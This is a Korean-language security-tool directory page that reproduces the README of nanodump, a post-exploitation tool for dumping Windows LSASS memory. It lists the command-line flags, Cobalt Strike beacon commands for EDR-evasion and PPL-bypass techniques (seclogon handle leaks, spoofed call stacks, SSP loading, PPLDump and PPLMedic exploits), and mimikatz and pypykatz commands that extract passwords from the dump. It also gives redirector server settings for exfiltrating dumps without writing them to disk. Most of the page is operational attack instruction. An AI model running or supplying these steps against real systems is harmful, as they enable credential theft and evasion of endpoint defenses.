Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/fortra/nanodump
Privilege EscalationMemory ForensicsExploitationPost-ExploitationPenetration TestingRed TeamingPayload Development
GitHubfortra/nanodump

nanodump

LSASS 덤핑의 스위스 아미 나이프

저장소 보기
2.1k2721년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

NanoDump

LSASS 프로세스의 미니덤프를 생성하는 유연한 도구입니다.

screenshot

목차

  1. 사용법
  2. 기능
  3. 기법 조합
  4. 예제
  5. HTTPS 리디렉터

1. 사용법

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            덤프 파일명
    --valid, -v
            유효한 서명이 있는 덤프 생성
Obtain an LSASS handle via:
    --duplicate, -d
            높은 권한을 가진 기존 LSASS 핸들 복제
    --duplicate-elevate, -de
            낮은 권한을 가진 기존 LSASS 핸들을 복제한 후 권한 상승
    --seclogon-leak-local, -sll
            seclogon을 통해 LSASS 핸들을 nanodump로 유출
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            seclogon을 통해 LSASS 핸들을 다른 프로세스로 유출한 후 복제
    --seclogon-duplicate, -sd
            seclogon이 LSASS에 대한 핸들을 열고 복제하도록 속임
    --spoof-callstack, -sc
            가짜 호출 스택을 사용하여 LSASS에 대한 핸들 열기
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            SilentProcessExit를 통해 WerFault.exe가 LSASS를 덤프하도록 강제
    --shtinkering, -sk
            Shtinkering을 통해 WerFault.exe가 LSASS를 덤프하도록 강제
Avoid reading LSASS directly:
    --fork, -f
            덤프 전 대상 프로세스 포크
    --snapshot, -s
            덤프 전 대상 프로세스 스냅샷 생성
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            낮은 권한으로 LSASS에 대한 핸들을 열고 복제하여 더 높은 권한 획득
Miscellaneous:
    --getpid
            LSASS의 PID를 출력하고 종료
    --chunk-size
            디스크에 쓰지 않고 덤프를 유출하는 데 사용되는 청크 크기(KiB, 기본값 900)
Help:
    --help, -h
            이 도움말 메시지를 출력하고 종료

복제

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

컴파일 (선택 사항)

Linux + MinGW

root@kitploit:~
make -f Makefile.mingw

Windows + MSVC (BOF 미지원)

root@kitploit:~
nmake -f Makefile.msvc

가져오기 (Cobalt Strike 전용)

Cobalt Strike에서 NanoDump.cna 스크립트를 가져옵니다.

실행

Beacon 콘솔에서 nanodump 명령어 또는 nanodump.x64.exe 바이너리를 실행합니다.

서명 복원

--valid 플래그를 지정하지 않은 경우, 유효하지 않은 서명을 복원해야 합니다.

root@kitploit:~
scripts/restore_signature <dumpfile>

비밀 정보 획득

mimikatz:
비밀 정보를 얻으려면 다음을 실행합니다.

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Linux에서 작업하는 것을 선호한다면 mimikatz의 Python3 포트인 pypykatz를 사용할 수 있습니다.

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. 기능

프로세스 포크

PROCESS_VM_READ 권한으로 LSASS에 대한 핸들을 여는 것을 피하려면 --fork 매개변수를 사용하세요.
이렇게 하면 nanodump가 PROCESS_CREATE_PROCESS 액세스 권한으로 LSASS에 대한 핸들을 만든 다음 프로세스의 '복제본'을 생성합니다. 이 새로운 프로세스가 덤프됩니다. 프로세스 생성 및 삭제가 발생하지만 LSASS를 직접 읽을 필요가 없습니다.

스냅샷

--fork 옵션과 유사하게 --snapshot을 사용하여 LSASS 프로세스의 스냅샷을 만들 수 있습니다.
이렇게 하면 nanodump가 PROCESS_CREATE_PROCESS 액세스 권한으로 LSASS에 대한 핸들을 만든 다음 PssNtCaptureSnapshot을 사용하여 프로세스의 스냅샷을 생성합니다. 이 새로운 프로세스가 덤프됩니다. 스냅샷은 완료 시 자동으로 해제됩니다.

핸들 복제

LSASS에 대한 핸들을 여는 것이 감지될 수 있으므로, nanodump는 대신 LSASS에 대한 기존 핸들을 검색할 수 있습니다.
핸들이 발견되면 복사하여 미니덤프를 만드는 데 사용합니다.
이러한 핸들이 항상 존재하는 것은 아닙니다.

핸들 권한 상승

PROCESS_QUERY_LIMITED_INFORMATION 권한으로 LSASS에 대한 핸들을 얻을 수 있습니다. 이 권한은 허용 목록에 있을 가능성이 높으며, 그런 다음 해당 핸들을 복제하여 권한을 상승시킵니다.

Seclogon 로컬 핸들 유출

LSASS에 대한 핸들을 열지 않으려면 CreateProcessWithLogonW를 호출하여 seclogon 서비스를 남용해 LSASS 핸들을 nanodump 바이너리로 유출할 수 있습니다.
이 기능을 활성화하려면 --seclogon-leak-local 매개변수를 사용하세요.
Cobalt Strike에서 사용할 때는 이 기능을 사용하기 위해 서명되지 않은 nanodump 바이너리를 디스크에 써야 합니다.

Seclogon 원격 핸들 유출

이 기법은 이전 기법과 매우 유사하지만, 핸들이 nanodump로 유출되는 대신 다른 바이너리로 유출된 후 복제되어 nanodump가 사용할 수 있게 됩니다. --seclogon-leak-remote 플래그를 사용하여 이 기능에 접근하세요.

Seclogon 핸들 복제

파일 잠금을 사용하여 경쟁 조건을 이겨내면 seclogon 프로세스가 LSASS에 대한 핸들을 열고 닫히기 전에 복제하도록 속일 수 있습니다. --seclogon-duplicate 플래그를 사용하여 이 기능에 접근하세요.

SSP로 nanodump 로드

LSASS에 대한 핸들을 열지 않기 위해 nanodump를 SSP로 LSASS에 로드할 수 있습니다.
DLL이 LSASS에 로드되면 매개변수는 명명된 파이프를 통해 전달되며, 덤프가 완료되면 DllMain이 FALSE를 반환하여 LSASS가 nanodump DLL을 언로드하게 합니다.
컴파일러 플래그 PASS_PARAMS_VIA_NAMED_PIPES=0을 사용하여 명명된 파이프를 사용하지 않고 매개변수를 DLL에 하드코딩할 수 있습니다.

nanodump DLL 업로드 및 로드

기본적으로 서명되지 않은 nanodump DLL이 Temp 폴더에 업로드되며 자동으로 삭제됩니다.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

기존 DLL을 로드하려면 다음을 실행하세요.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL 덤프 익스플로잇

LSASS가 보호 프로세스 라이트(PPL)로 실행 중인 경우, Project Zero에서 발견한 사용자 영역 익스플로잇을 사용하여 우회할 수 있습니다. 성공하면 덤프가 디스크에 기록됩니다.

이 취약점은 2022년 7월 업데이트 팩(Windows 10 21H2 빌드 19044.1826)에서 수정되었습니다.

이 기능에 접근하려면 nanodump_ppl_dump 명령어를 사용하세요.

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL Medic 익스플로잇

Nanodump는 2022년 7월 업데이트 팩이 설치된 시스템에서 작동하는 PPLMedic 익스플로잇도 구현합니다. 매개변수는 명명된 파이프를 통해 nanodump DLL로 전달됩니다. 컴파일러 플래그 `PASS_PARAMS_VIA_NAMED_PIPES=0`을 사용하여 명명된 파이프를 사용하지 않고 매개변수를 DLL에 하드코딩할 수 있습니다.

이 기능에 접근하려면 nanodump_ppl_medic 명령어를 사용하세요.

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

WerFault.exe 프로세스가 LSASS의 전체 메모리 덤프를 생성하도록 강제할 수 있습니다. 레지스트리에 쓸 수 있는 권한이 필요합니다.

덤프가 nanodump에 의해 생성되지 않으므로 항상 유효한 서명을 가집니다.

Silent Process Exit

Silent Process Exit 기법을 활용하려면 --silent-process-exit 매개변수와 덤프가 생성될 경로를 사용하세요.

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

nanodump 프로세스의 덤프도 생성되며, 다음과 유사합니다.

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Shtinkering 기법도 사용할 수 있으며, nanodump가 SYSTEM으로 실행되어야 합니다.

root@kitploit:~
beacon> nanodump --shtinkering

덤프는 일반적으로 C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps 아래에 생성됩니다.

호출 스택 위조

가짜 호출 스택을 사용하여 LSASS에 대한 핸들을 열면 함수 호출이 좀 더 합법적으로 보이게 할 수 있습니다(BOF로 실행할 때 특히 유용). 이 기능에 접근하려면 --spoof-callstack 매개변수를 사용하세요.

3. 기법 조합

많은 기법을 조합하여 nanodump의 작동 방식을 사용자 정의할 수 있습니다. 다음 표는 어떤 플래그를 함께 사용할 수 있는지 나타냅니다.

4. 예제

포크를 생성하여 LSASS를 간접적으로 읽고 유효하지 않은 서명으로 덤프를 디스크에 쓰기:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

seclogon 원격 유출을 사용하여 notepad 프로세스에 LSASS 핸들을 유출하고, 해당 핸들을 복제하여 LSASS에 접근한 후 포크를 생성하여 간접적으로 읽고 유효한 서명으로 덤프 다운로드:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

seclogon 로컬 유출로 핸들을 얻고, 포크를 사용하여 LSASS를 간접적으로 읽고 유효한 서명으로 덤프를 디스크에 쓰기(nanodump 바이너리가 업로드됩니다!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

유효하지 않은 서명으로 덤프 다운로드(기본값):

root@kitploit:~
beacon> nanodump

기존 핸들을 복제하고 유효하지 않은 서명으로 덤프를 디스크에 쓰기:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

LSASS의 PID 가져오기:

root@kitploit:~
beacon> nanodump --getpid

SSP로 nanodump를 LSASS에 로드(nanodump 바이너리가 업로드됩니다!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

PPLDump 익스플로잇을 사용하여 PPL을 우회하고 csrss.exe가 LSASS에 가지고 있는 핸들을 복제하여 LSASS 덤프:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

PPLMedic 익스플로잇을 사용하여 PPL을 우회하고 낮은 권한의 LSASS 핸들을 연 후 권한 상승:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

seclogon이 LSASS에 대한 핸들을 열고 복제하도록 속인 후 유효하지 않은 서명으로 덤프 다운로드:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

WerFault.exe 프로세스가 Temp 폴더에 전체 메모리 덤프를 생성하도록 강제:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

위조된 호출 스택으로 LSASS에 대한 핸들을 열고 유효하지 않은 서명으로 미니덤프 다운로드:

root@kitploit:~
beacon> nanodump --spoof-callstack

Shtinkering 기법 사용:

root@kitploit:~
beacon> nanodump --shtinkering

seclogon 로컬 유출로 핸들을 얻고 Shtinkering 기법을 사용하여 덤프 생성:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

낮은 권한으로 핸들을 얻고 _elevate handle_을 사용하여 권한 상승:

root@kitploit:~
beacon> nanodump --elevate-handle

위조된 호출 스택을 사용하여 낮은 권한으로 핸들을 얻고 _elevate handle_을 사용하여 권한 상승:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

기존의 낮은 권한 핸들을 복제하고 _elevate handle_을 사용하여 권한 상승:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPS 리디렉터

HTTPS 리디렉터를 사용하는 경우(권장), 덤프를 파일리스로 다운로드할 때 덤프를 유출하는 요청의 크기로 인해 문제가 발생할 수 있습니다. 웹 서버에서 요청의 최대 크기를 늘려 nanodump가 덤프를 다운로드할 수 있도록 하세요.

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

크레딧

  • skelsec - minidump 작성자, 미니덤프 파일 형식을 배우는 데 결정적이었음.
  • freefirex - Trustedsec의 CS-Situational-Awareness-BOF에서 BOF를 위한 많은 멋진 트릭 제공.
  • Jackson_T - SysWhispers2
  • BillDemirkapi - 프로세스 포킹
  • Antonio Cocomazzi - 유출된 핸들을 남용하여 LSASS 메모리 덤프 및 LSASS 덤프를 위한 경쟁
  • xpn - Mimikatz 탐구 - 2부 - SSP
  • Matteo Malvica - WinDefender ATP 자격 증명 도용 회피: 실패 후 성공
  • James Forshaw - Windows 익스플로잇 트릭: 임의 객체 디렉터리 생성을 악용한 로컬 권한 상승
  • itm4n - 원래 PPL 사용자 영역 익스플로잇 구현, PPLDump 및 PPLMedic.
  • Asaf Gilboa - LSASS 메모리 덤프, 그 어느 때보다 은밀하게 - 2부 및 Shtinkering 기법
  • William Burgess - 호출 스택 위조로 EDR 혼란시키기
도구 다운로드
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • Sebastian Feldmann 및 Fabian - Morph Your Malware!에서 논의된 elevate handle 기법